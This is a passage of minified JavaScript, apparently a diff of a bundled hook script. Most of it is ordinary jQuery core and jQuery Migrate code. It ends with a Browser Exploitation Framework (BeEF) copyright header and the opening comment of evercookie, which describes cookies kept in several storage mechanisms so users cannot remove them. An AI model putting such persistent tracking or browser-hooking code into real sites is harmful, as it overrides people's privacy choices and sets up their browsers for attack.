b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex),null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),n.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){n.propFix[this.toLowerCase()]=this}),l.enctype||(n.propFix.enctype="encoding");var Bb=/[\t\r\n\f]/g;function Cb(a){return n.attr(a,"class")||""}n.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(n.isFunction(a))return this.each(function(b){n(this).addClass(a.call(this,b,Cb(this)))});if("string"==typeof a&&a){b=a.match(G)||[];while(c=this[i++])if(e=Cb(c),d=1===c.nodeType&&(" "+e+" ").replace(Bb," ")){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=n.trim(d),e!==h&&n.attr(c,"class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(n.isFunction(a))return this.each(function(b){n(this).removeClass(a.call(this,b,Cb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(G)||[];while(c=this[i++])if(e=Cb(c),d=1===c.nodeType&&(" "+e+" ").replace(Bb," ")){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=n.trim(d),e!==h&&n.attr(c,"class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):n.isFunction(a)?this.each(function(c){n(this).toggleClass(a.call(this,c,Cb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=n(this),f=a.match(G)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=Cb(this),b&&n._data(this,"__className__",b),n.attr(this,"class",b||a===!1?"":n._data(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+Cb(c)+" ").replace(Bb," ").indexOf(b)>-1)return!0;return!1}}),n.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){n.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),n.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var Db=a.location,Eb=n.now(),Fb=/\?/,Gb=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;n.parseJSON=function(b){if(a.JSON&&a.JSON.parse)return a.JSON.parse(b+"");var c,d=null,e=n.trim(b+"");return e&&!n.trim(e.replace(Gb,function(a,b,e,f){return c&&b&&(d=0),0===d?a:(c=e||b,d+=!f-!e,"")}))?Function("return "+e)():n.error("Invalid JSON: "+b)},n.parseXML=function(b){var c,d;if(!b||"string"!=typeof b)return null;try{a.DOMParser?(d=new a.DOMParser,c=d.parseFromString(b,"text/xml")):(c=new a.ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b))}catch(e){c=void 0}return c&&c.documentElement&&!c.getElementsByTagName("parsererror").length||n.error("Invalid XML: "+b),c};var Hb=/#.*$/,Ib=/([?&])_=[^&]*/,Jb=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Kb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Lb=/^(?:GET|HEAD)$/,Mb=/^\/\//,Nb=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,Ob={},Pb={},Qb="*/".concat("*"),Rb=Db.href,Sb=Nb.exec(Rb.toLowerCase())||[];function Tb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(G)||[];if(n.isFunction(c))while(d=f[e++])"+"===d.charAt(0)?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Ub(a,b,c,d){var e={},f=a===Pb;function g(h){var i;return e[h]=!0,n.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Vb(a,b){var c,d,e=n.ajaxSettings.flatOptions||{};for(d in b)void 0!==b[d]&&((e[d]?a:c||(c={}))[d]=b[d]);return c&&n.extend(!0,a,c),a}function Wb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===e&&(e=a.mimeType||b.getResponseHeader("Content-Type"));if(e)for(g in h)if(h[g]&&h[g].test(e)){i.unshift(g);break}if(i[0]in c)f=i[0];else{for(g in c){if(!i[0]||a.converters[g+" "+i[0]]){f=g;break}d||(d=g)}f=f||d}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function Xb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}n.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Rb,type:"GET",isLocal:Kb.test(Sb[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Qb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":n.parseJSON,"text xml":n.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Vb(Vb(a,n.ajaxSettings),b):Vb(n.ajaxSettings,a)},ajaxPrefilter:Tb(Ob),ajaxTransport:Tb(Pb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var d,e,f,g,h,i,j,k,l=n.ajaxSetup({},c),m=l.context||l,o=l.context&&(m.nodeType||m.jquery)?n(m):n.event,p=n.Deferred(),q=n.Callbacks("once memory"),r=l.statusCode||{},s={},t={},u=0,v="canceled",w={readyState:0,getResponseHeader:function(a){var b;if(2===u){if(!k){k={};while(b=Jb.exec(g))k[b[1].toLowerCase()]=b[2]}b=k[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return 2===u?g:null},setRequestHeader:function(a,b){var c=a.toLowerCase();return u||(a=t[c]=t[c]||a,s[a]=b),this},overrideMimeType:function(a){return u||(l.mimeType=a),this},statusCode:function(a){var b;if(a)if(2>u)for(b in a)r[b]=[r[b],a[b]];else w.always(a[w.status]);return this},abort:function(a){var b=a||v;return j&&j.abort(b),y(0,b),this}};if(p.promise(w).complete=q.add,w.success=w.done,w.error=w.fail,l.url=((b||l.url||Rb)+"").replace(Hb,"").replace(Mb,Sb[1]+"//"),l.type=c.method||c.type||l.method||l.type,l.dataTypes=n.trim(l.dataType||"*").toLowerCase().match(G)||[""],null==l.crossDomain&&(d=Nb.exec(l.url.toLowerCase()),l.crossDomain=!(!d||d[1]===Sb[1]&&d[2]===Sb[2]&&(d[3]||("http:"===d[1]?"80":"443"))===(Sb[3]||("http:"===Sb[1]?"80":"443")))),l.data&&l.processData&&"string"!=typeof l.data&&(l.data=n.param(l.data,l.traditional)),Ub(Ob,l,c,w),2===u)return w;i=n.event&&l.global,i&&0===n.active++&&n.event.trigger("ajaxStart"),l.type=l.type.toUpperCase(),l.hasContent=!Lb.test(l.type),f=l.url,l.hasContent||(l.data&&(f=l.url+=(Fb.test(f)?"&":"?")+l.data,delete l.data),l.cache===!1&&(l.url=Ib.test(f)?f.replace(Ib,"$1_="+Eb++):f+(Fb.test(f)?"&":"?")+"_="+Eb++)),l.ifModified&&(n.lastModified[f]&&w.setRequestHeader("If-Modified-Since",n.lastModified[f]),n.etag[f]&&w.setRequestHeader("If-None-Match",n.etag[f])),(l.data&&l.hasContent&&l.contentType!==!1||c.contentType)&&w.setRequestHeader("Content-Type",l.contentType),w.setRequestHeader("Accept",l.dataTypes[0]&&l.accepts[l.dataTypes[0]]?l.accepts[l.dataTypes[0]]+("*"!==l.dataTypes[0]?", "+Qb+"; q=0.01":""):l.accepts["*"]);for(e in l.headers)w.setRequestHeader(e,l.headers[e]);if(l.beforeSend&&(l.beforeSend.call(m,w,l)===!1||2===u))return w.abort();v="abort";for(e in{success:1,error:1,complete:1})w[e](l[e]);if(j=Ub(Pb,l,c,w)){if(w.readyState=1,i&&o.trigger("ajaxSend",[w,l]),2===u)return w;l.async&&l.timeout>0&&(h=a.setTimeout(function(){w.abort("timeout")},l.timeout));try{u=1,j.send(s,y)}catch(x){if(!(2>u))throw x;y(-1,x)}}else y(-1,"No Transport");function y(b,c,d,e){var k,s,t,v,x,y=c;2!==u&&(u=2,h&&a.clearTimeout(h),j=void 0,g=e||"",w.readyState=b>0?4:0,k=b>=200&&300>b||304===b,d&&(v=Wb(l,w,d)),v=Xb(l,v,w,k),k?(l.ifModified&&(x=w.getResponseHeader("Last-Modified"),x&&(n.lastModified[f]=x),x=w.getResponseHeader("etag"),x&&(n.etag[f]=x)),204===b||"HEAD"===l.type?y="nocontent":304===b?y="notmodified":(y=v.state,s=v.data,t=v.error,k=!t)):(t=y,!b&&y||(y="error",0>b&&(b=0))),w.status=b,w.statusText=(c||y)+"",k?p.resolveWith(m,[s,y,w]):p.rejectWith(m,[w,y,t]),w.statusCode(r),r=void 0,i&&o.trigger(k?"ajaxSuccess":"ajaxError",[w,l,k?s:t]),q.fireWith(m,[w,y]),i&&(o.trigger("ajaxComplete",[w,l]),--n.active||n.event.trigger("ajaxStop")))}return w},getJSON:function(a,b,c){return n.get(a,b,c,"json")},getScript:function(a,b){return n.get(a,void 0,b,"script")}}),n.each(["get","post"],function(a,b){n[b]=function(a,c,d,e){return n.isFunction(c)&&(e=e||d,d=c,c=void 0),n.ajax(n.extend({url:a,type:b,dataType:e,data:c,success:d},n.isPlainObject(a)&&a))}}),n._evalUrl=function(a){return n.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},n.fn.extend({wrapAll:function(a){if(n.isFunction(a))return this.each(function(b){n(this).wrapAll(a.call(this,b))});if(this[0]){var b=n(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&1===a.firstChild.nodeType)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return n.isFunction(a)?this.each(function(b){n(this).wrapInner(a.call(this,b))}):this.each(function(){var b=n(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=n.isFunction(a);return this.each(function(c){n(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){n.nodeName(this,"body")||n(this).replaceWith(this.childNodes)}).end()}});function Yb(a){return a.style&&a.style.display||n.css(a,"display")}function Zb(a){if(!n.contains(a.ownerDocument||d,a))return!0;while(a&&1===a.nodeType){if("none"===Yb(a)||"hidden"===a.type)return!0;a=a.parentNode}return!1}n.expr.filters.hidden=function(a){return l.reliableHiddenOffsets()?a.offsetWidth<=0&&a.offsetHeight<=0&&!a.getClientRects().length:Zb(a)},n.expr.filters.visible=function(a){return!n.expr.filters.hidden(a)};var $b=/%20/g,_b=/\[\]$/,ac=/\r?\n/g,bc=/^(?:submit|button|image|reset|file)$/i,cc=/^(?:input|select|textarea|keygen)/i;function dc(a,b,c,d){var e;if(n.isArray(b))n.each(b,function(b,e){c||_b.test(a)?d(a,e):dc(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==n.type(b))d(a,b);else for(e in b)dc(a+"["+e+"]",b[e],c,d)}n.param=function(a,b){var c,d=[],e=function(a,b){b=n.isFunction(b)?b():null==b?"":b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};if(void 0===b&&(b=n.ajaxSettings&&n.ajaxSettings.traditional),n.isArray(a)||a.jquery&&!n.isPlainObject(a))n.each(a,function(){e(this.name,this.value)});else for(c in a)dc(c,a[c],b,e);return d.join("&").replace($b,"+")},n.fn.extend({serialize:function(){return n.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=n.prop(this,"elements");return a?n.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!n(this).is(":disabled")&&cc.test(this.nodeName)&&!bc.test(a)&&(this.checked||!Z.test(a))}).map(function(a,b){var c=n(this).val();return null==c?null:n.isArray(c)?n.map(c,function(a){return{name:b.name,value:a.replace(ac,"\r\n")}}):{name:b.name,value:c.replace(ac,"\r\n")}}).get()}}),n.ajaxSettings.xhr=void 0!==a.ActiveXObject?function(){return this.isLocal?ic():d.documentMode>8?hc():/^(get|post|head|put|delete|options)$/i.test(this.type)&&hc()||ic()}:hc;var ec=0,fc={},gc=n.ajaxSettings.xhr();a.attachEvent&&a.attachEvent("onunload",function(){for(var a in fc)fc[a](void 0,!0)}),l.cors=!!gc&&"withCredentials"in gc,gc=l.ajax=!!gc,gc&&n.ajaxTransport(function(b){if(!b.crossDomain||l.cors){var c;return{send:function(d,e){var f,g=b.xhr(),h=++ec;if(g.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(f in b.xhrFields)g[f]=b.xhrFields[f];b.mimeType&&g.overrideMimeType&&g.overrideMimeType(b.mimeType),b.crossDomain||d["X-Requested-With"]||(d["X-Requested-With"]="XMLHttpRequest");for(f in d)void 0!==d[f]&&g.setRequestHeader(f,d[f]+"");g.send(b.hasContent&&b.data||null),c=function(a,d){var f,i,j;if(c&&(d||4===g.readyState))if(delete fc[h],c=void 0,g.onreadystatechange=n.noop,d)4!==g.readyState&&g.abort();else{j={},f=g.status,"string"==typeof g.responseText&&(j.text=g.responseText);try{i=g.statusText}catch(k){i=""}f||!b.isLocal||b.crossDomain?1223===f&&(f=204):f=j.text?200:404}j&&e(f,i,j,g.getAllResponseHeaders())},b.async?4===g.readyState?a.setTimeout(c):g.onreadystatechange=fc[h]=c:c()},abort:function(){c&&c(void 0,!0)}}}});function hc(){try{return new a.XMLHttpRequest}catch(b){}}function ic(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}n.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return n.globalEval(a),a}}}),n.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),n.ajaxTransport("script",function(a){if(a.crossDomain){var b,c=d.head||n("head")[0]||d.documentElement;return{send:function(e,f){b=d.createElement("script"),b.async=!0,a.scriptCharset&&(b.charset=a.scriptCharset),b.src=a.url,b.onload=b.onreadystatechange=function(a,c){(c||!b.readyState||/loaded|complete/.test(b.readyState))&&(b.onload=b.onreadystatechange=null,b.parentNode&&b.parentNode.removeChild(b),b=null,c||f(200,"success"))},c.insertBefore(b,c.firstChild)},abort:function(){b&&b.onload(void 0,!0)}}}});var jc=[],kc=/(=)\?(?=&|$)|\?\?/;n.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=jc.pop()||n.expando+"_"+Eb++;return this[a]=!0,a}}),n.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(kc.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&kc.test(b.data)&&"data");return h||"jsonp"===b.dataTypes[0]?(e=b.jsonpCallback=n.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(kc,"$1"+e):b.jsonp!==!1&&(b.url+=(Fb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||n.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?n(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,jc.push(e)),g&&n.isFunction(f)&&f(g[0]),g=f=void 0}),"script"):void 0}),n.parseHTML=function(a,b,c){if(!a||"string"!=typeof a)return null;"boolean"==typeof b&&(c=b,b=!1),b=b||d;var e=x.exec(a),f=!c&&[];return e?[b.createElement(e[1])]:(e=ja([a],b,f),f&&f.length&&n(f).remove(),n.merge([],e.childNodes))};var lc=n.fn.load;n.fn.load=function(a,b,c){if("string"!=typeof a&&lc)return lc.apply(this,arguments);var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=n.trim(a.slice(h,a.length)),a=a.slice(0,h)),n.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&n.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?n("<div>").append(n.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},n.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){n.fn[b]=function(a){return this.on(b,a)}}),n.expr.filters.animated=function(a){return n.grep(n.timers,function(b){return a===b.elem}).length};function mc(a){return n.isWindow(a)?a:9===a.nodeType?a.defaultView||a.parentWindow:!1}n.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=n.css(a,"position"),l=n(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=n.css(a,"top"),i=n.css(a,"left"),j=("absolute"===k||"fixed"===k)&&n.inArray("auto",[f,i])>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),n.isFunction(b)&&(b=b.call(a,c,n.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},n.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){n.offset.setOffset(this,a,b)});var b,c,d={top:0,left:0},e=this[0],f=e&&e.ownerDocument;if(f)return b=f.documentElement,n.contains(b,e)?("undefined"!=typeof e.getBoundingClientRect&&(d=e.getBoundingClientRect()),c=mc(f),{top:d.top+(c.pageYOffset||b.scrollTop)-(b.clientTop||0),left:d.left+(c.pageXOffset||b.scrollLeft)-(b.clientLeft||0)}):d},position:function(){if(this[0]){var a,b,c={top:0,left:0},d=this[0];return"fixed"===n.css(d,"position")?b=d.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),n.nodeName(a[0],"html")||(c=a.offset()),c.top+=n.css(a[0],"borderTopWidth",!0),c.left+=n.css(a[0],"borderLeftWidth",!0)),{top:b.top-c.top-n.css(d,"marginTop",!0),left:b.left-c.left-n.css(d,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&!n.nodeName(a,"html")&&"static"===n.css(a,"position"))a=a.offsetParent;return a||Qa})}}),n.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c=/Y/.test(b);n.fn[a]=function(d){return Y(this,function(a,d,e){var f=mc(a);return void 0===e?f?b in f?f[b]:f.document.documentElement[d]:a[d]:void(f?f.scrollTo(c?n(f).scrollLeft():e,c?e:n(f).scrollTop()):a[d]=e)},a,d,arguments.length,null)}}),n.each(["top","left"],function(a,b){n.cssHooks[b]=Ua(l.pixelPosition,function(a,c){return c?(c=Sa(a,b),Oa.test(c)?n(a).position()[b]+"px":c):void 0})}),n.each({Height:"height",Width:"width"},function(a,b){n.each({
- padding:"inner"+a,content:b,"":"outer"+a},function(c,d){n.fn[d]=function(d,e){var f=arguments.length&&(c||"boolean"!=typeof d),g=c||(d===!0||e===!0?"margin":"border");return Y(this,function(b,c,d){var e;return n.isWindow(b)?b.document.documentElement["client"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body["scroll"+a],e["scroll"+a],b.body["offset"+a],e["offset"+a],e["client"+a])):void 0===d?n.css(b,c,g):n.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),n.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),n.fn.size=function(){return this.length},n.fn.andSelf=n.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return n});var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});
- /*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */
- jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get||function(){return null},c=e.attrHooks.value&&e.attrHooks.value.set||function(){return n},l=/^(?:input|button)$/i,d=/^[238]$/,p=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,f=/^(?:checked|selected)$/i;a(e,"attrFn",o||{},"jQuery.attrFn is deprecated"),e.attr=function(t,a,i,u){var c=a.toLowerCase(),g=t&&t.nodeType;return u&&(4>s.length&&r("jQuery.fn.attr( props, pass ) is deprecated"),t&&!d.test(g)&&(o?a in o:e.isFunction(e.fn[a])))?e(t)[a](i):("type"===a&&i!==n&&l.test(t.nodeName)&&t.parentNode&&r("Can't change the 'type' of an input or button in IE 6/7/8"),!e.attrHooks[c]&&p.test(c)&&(e.attrHooks[c]={get:function(t,r){var a,i=e.prop(t,r);return i===!0||"boolean"!=typeof i&&(a=t.getAttributeNode(r))&&a.nodeValue!==!1?r.toLowerCase():n},set:function(t,n,r){var a;return n===!1?e.removeAttr(t,r):(a=e.propFix[r]||r,a in t&&(t[a]=!0),t.setAttribute(r,r.toLowerCase())),r}},f.test(c)&&r("jQuery.fn.attr('"+c+"') may use property instead of attribute")),s.call(e,t,a,i))},e.attrHooks.value={get:function(e,t){var n=(e.nodeName||"").toLowerCase();return"button"===n?u.apply(this,arguments):("input"!==n&&"option"!==n&&r("jQuery.fn.attr('value') no longer gets properties"),t in e?e.value:null)},set:function(e,t){var a=(e.nodeName||"").toLowerCase();return"button"===a?c.apply(this,arguments):("input"!==a&&"option"!==a&&r("jQuery.fn.attr('value', val) no longer sets properties"),e.value=t,n)}};var g,h,v=e.fn.init,m=e.parseJSON,y=/^([^<]*)(<[\w\W]+>)([^>]*)$/;e.fn.init=function(t,n,a){var i;return t&&"string"==typeof t&&!e.isPlainObject(n)&&(i=y.exec(e.trim(t)))&&i[0]&&("<"!==t.charAt(0)&&r("$(html) HTML strings must start with '<' character"),i[3]&&r("$(html) HTML text after last tag is ignored"),"#"===i[0].charAt(0)&&(r("HTML string cannot start with a '#' character"),e.error("JQMIGRATE: Invalid selector string (XSS)")),n&&n.context&&(n=n.context),e.parseHTML)?v.call(this,e.parseHTML(i[2],n,!0),n,a):v.apply(this,arguments)},e.fn.init.prototype=e.fn,e.parseJSON=function(e){return e||null===e?m.apply(this,arguments):(r("jQuery.parseJSON requires a valid JSON string"),null)},e.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||0>e.indexOf("compatible")&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e.browser||(g=e.uaMatch(navigator.userAgent),h={},g.browser&&(h[g.browser]=!0,h.version=g.version),h.chrome?h.webkit=!0:h.webkit&&(h.safari=!0),e.browser=h),a(e,"browser",e.browser,"jQuery.browser is deprecated"),e.sub=function(){function t(e,n){return new t.fn.init(e,n)}e.extend(!0,t,this),t.superclass=this,t.fn=t.prototype=this(),t.fn.constructor=t,t.sub=this.sub,t.fn.init=function(r,a){return a&&a instanceof e&&!(a instanceof t)&&(a=t(a)),e.fn.init.call(this,r,a,n)},t.fn.init.prototype=t.fn;var n=t(document);return r("jQuery.sub() is deprecated"),t},e.ajaxSetup({converters:{"text json":e.parseJSON}});var b=e.fn.data;e.fn.data=function(t){var a,i,o=this[0];return!o||"events"!==t||1!==arguments.length||(a=e.data(o,t),i=e._data(o,t),a!==n&&a!==i||i===n)?b.apply(this,arguments):(r("Use of jQuery.fn.data('events') is deprecated"),i)};var j=/\/(java|ecma)script/i,w=e.fn.andSelf||e.fn.addBack;e.fn.andSelf=function(){return r("jQuery.fn.andSelf() replaced by jQuery.fn.addBack()"),w.apply(this,arguments)},e.clean||(e.clean=function(t,a,i,o){a=a||document,a=!a.nodeType&&a[0]||a,a=a.ownerDocument||a,r("jQuery.clean() is deprecated");var s,u,c,l,d=[];if(e.merge(d,e.buildFragment(t,a).childNodes),i)for(c=function(e){return!e.type||j.test(e.type)?o?o.push(e.parentNode?e.parentNode.removeChild(e):e):i.appendChild(e):n},s=0;null!=(u=d[s]);s++)e.nodeName(u,"script")&&c(u)||(i.appendChild(u),u.getElementsByTagName!==n&&(l=e.grep(e.merge([],u.getElementsByTagName("script")),c),d.splice.apply(d,[s+1,0].concat(l)),s+=l.length));return d});var Q=e.event.add,x=e.event.remove,k=e.event.trigger,N=e.fn.toggle,T=e.fn.live,M=e.fn.die,S="ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",C=RegExp("\\b(?:"+S+")\\b"),H=/(?:^|\s)hover(\.\S+|)\b/,A=function(t){return"string"!=typeof t||e.event.special.hover?t:(H.test(t)&&r("'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'"),t&&t.replace(H,"mouseenter$1 mouseleave$1"))};e.event.props&&"attrChange"!==e.event.props[0]&&e.event.props.unshift("attrChange","attrName","relatedNode","srcElement"),e.event.dispatch&&a(e.event,"handle",e.event.dispatch,"jQuery.event.handle is undocumented and deprecated"),e.event.add=function(e,t,n,a,i){e!==document&&C.test(t)&&r("AJAX events should be attached to document: "+t),Q.call(this,e,A(t||""),n,a,i)},e.event.remove=function(e,t,n,r,a){x.call(this,e,A(t)||"",n,r,a)},e.fn.error=function(){var e=Array.prototype.slice.call(arguments,0);return r("jQuery.fn.error() is deprecated"),e.splice(0,0,"error"),arguments.length?this.bind.apply(this,e):(this.triggerHandler.apply(this,e),this)},e.fn.toggle=function(t,n){if(!e.isFunction(t)||!e.isFunction(n))return N.apply(this,arguments);r("jQuery.fn.toggle(handler, handler...) is deprecated");var a=arguments,i=t.guid||e.guid++,o=0,s=function(n){var r=(e._data(this,"lastToggle"+t.guid)||0)%o;return e._data(this,"lastToggle"+t.guid,r+1),n.preventDefault(),a[r].apply(this,arguments)||!1};for(s.guid=i;a.length>o;)a[o++].guid=i;return this.click(s)},e.fn.live=function(t,n,a){return r("jQuery.fn.live() is deprecated"),T?T.apply(this,arguments):(e(this.context).on(t,this.selector,n,a),this)},e.fn.die=function(t,n){return r("jQuery.fn.die() is deprecated"),M?M.apply(this,arguments):(e(this.context).off(t,this.selector||"**",n),this)},e.event.trigger=function(e,t,n,a){return n||C.test(e)||r("Global events are undocumented and deprecated"),k.call(this,e,t,n||document,a)},e.each(S.split("|"),function(t,n){e.event.special[n]={setup:function(){var t=this;return t!==document&&(e.event.add(document,n+"."+e.guid,function(){e.event.trigger(n,null,t,!0)}),e._data(this,n,e.guid++)),!1},teardown:function(){return this!==document&&e.event.remove(document,n+"."+e._data(this,n)),!1}}})}(jQuery,window);
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*
- * evercookie 0.4 (10/13/2010) -- extremely persistent cookies
- *
- * by samy kamkar : code@samy.pl : http://samy.pl
- *
- * this api attempts to produce several types of persistent data
- * to essentially make a cookie virtually irrevocable from a system
- *
- * specifically it uses:
- * - standard http cookies
- * - flash cookies (local shared objects)
- * - silverlight isolated storage
- * - png generation w/forced cache and html5 canvas pixel reading
